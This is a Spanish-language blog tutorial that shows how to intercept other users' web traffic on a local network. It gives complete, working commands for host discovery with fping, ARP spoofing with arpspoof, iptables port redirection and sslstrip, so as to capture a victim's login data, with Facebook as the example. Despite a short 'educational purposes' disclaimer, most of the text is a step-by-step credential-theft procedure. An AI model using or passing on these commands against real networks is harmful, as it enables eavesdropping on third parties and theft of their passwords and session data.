Sslstrip: Tutorial en español (Espiando tráfico http) desde Ubuntu linux

¡ Hola !
El día de hoy te mostraré como espiar tráfico http para obtener datos Post y Get desde distribuciones de linux, yo usaré ubuntu, pero tú puedes usar la que prefieras.

Antes que nada quiero aclarar que este tutorial lo hago con fines educativos "El conocimiento es libre" cada quien se hace responsable del uso que le de.

Materiales que utilizaremos
Sslstrip (Descargar)
Fping (sudo apt-get install fping)
Python [Linux lo incluye por defecto](Descargar)

¿Qué es y Cómo funciona?

HTTP
Todos los datos que tú envías y recibes a través de un navegador web tales como mensajes, formularios o inicio de sesiones se comunican por medio del protocolo http (Hypertext Transfer Protocol) se basa en la arquitectura de Cliente - Servidor esto quiere decir que funciona con Peticiones - Respuestas.

Ejemplo: cuando tú quieres entrar a facebook.com a través de un cliente web estas haciendo una petición al servidor web de facebook y te responde con un html que se traduce al diseño de la pagina que ves en tu navegador.

SSL
Secure Sockets Layer, algo que se traduce en Capa de Conexión segura ahora "TLS", ssl proporciona autentificación y privacidad, encriptando la información que se envía por medio del protocolo http tales como mensajes, usuarios y contraseñas.

Ejemplo: cuando el tráfico de una pagina esta viajando de forma segura se puede apreciar al inicio de la url "https://facebook.com" por lo contrario la información no segura "http://paginaweb.com".

Recapitulando
Convierte todo el tráfico https en http sin cifrar y lo captura para luego mostrarnos las peticiones que se realizaron, se puede apreciar este cambio por el prefijo "https" que se sustituye por "http" la desventaja de esto es que solo funciona en una red local.

Iniciemos el tutorial

Como te mencioné anteriormente yo usare la nueva versión de Ubuntu 13.10, tú puedes usar la que prefieras o se adapte mejor a tus necesidades.

Antes que nada, necesitamos las direcciones IP's de la victima, y de el Servidor.
¿Cómo conseguimos la dirección ip?
Bueno el primer paso es saber como está "estructurada" nuestra red, para eso:
ifconfig

Nuestra ip es "192.168.1.64" en este caso pero, ¿Y las demás computadoras?
Para esto existe un comando llamado fping:

Ejecutamos en la terminal:
sudo apt-get install fping
Y después escaneamos los hosts guardándolos en un archivo
"fping -a -g <ipInicial> <IpFinal> > hosts" Ejemplo:
fping -a -g 192.168.1.1 192.168.1.254 > hosts
Para finalmente leer la lista de hosts:
cat hosts

Usaremos 3 terminales para ingresar los siguientes comandos:
Terminal 1:
//Accedemos como Root o Super Usuario
sudo -sH

//Activamos IP Forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

//Ejecutamos el comando arpspoof -i <interfaz> -t <VictimaIP> <Servidor>
arpspoof -i wlan0 -t 192.168.1.104 192.168.1.254

Terminal 2:
//Redireccionamos el trafico http del puerto "80" al "8080"
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 8080

//Ejecutamos sslStrip indicandole "-w" que lo guarde en un archivo y "-l" que escuche por el puerto 8080
sslstrip -w cap -l 8080

Terminal 3:
//Finalmente el comando Tail para leer la información

tail -f cap

Finalmente el resultado:

El navegador de la victima muestra que la información no está viajando de forma cifrada, pero sin ninguna advertencia por parte del navegador, el usuario ingresa sus datos normalmente:

Y la información nos llega a la pantalla de captura:

Todo se muestra normal al ingresar a la pagina:

No hace falta nada más, la información nos ha llegado, en ella incluye el tipo de datos (POST/GET) la url (facebook.com) y finalmente los parámetros.

Y eso es todo! muchas gracias por leer este post.